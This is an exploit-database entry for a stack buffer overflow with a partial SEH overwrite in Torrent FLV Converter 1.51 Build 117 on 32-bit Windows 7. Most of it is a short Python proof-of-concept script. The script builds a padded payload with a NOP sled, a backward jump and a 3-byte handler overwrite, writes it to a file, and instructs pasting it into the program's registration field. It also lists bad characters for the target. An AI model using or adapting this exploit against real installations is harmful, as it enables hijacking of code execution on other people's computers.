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## https://sploitus.com/exploit?id=PACKETSTORM:155984
# Exploit Title: Torrent FLV Converter 1.51 Build 117 - Stack Oveflow (SEH partial overwrite)  
# Date: 2020-01-16  
# Exploit Author: antonio  
# Vendor Homepage: http://www.torrentrockyou.com/  
# Software Link: http://www.torrentrockyou.com/download/trflvconverter.exe  
# Version: 1.51 Build 117  
# Tested on: Windows 7 SP1 32-bit  
  
# Copy paste the contents of poc.txt into the  
# Registration Code input field.  
  
#!/usr/bin/python  
  
nseh_offset = 4500  
total = 5000  
  
# badchars  
# --------  
# 0x00, 0x0a, 0x0d, 0x80  
# 0xf0-x0ff, 0xe0-0x0ef, 0x70-0x7a  
# 0x61-0x6f, 0x9a, 0x9c, 0x9e  
  
poc = ""  
poc += "A"*(nseh_offset - 53)  
poc += "\x90"*53  
poc += "\x7d\xcb\x90\x90" # jump backwards to NOPs: jge via SF = OF  
poc += "\x7f\xb3\x45" # nseh pop pop ret: 3-byte partial overwrite  
  
file = open("poc_seh.txt","w")  
file.write(poc)  
file.close()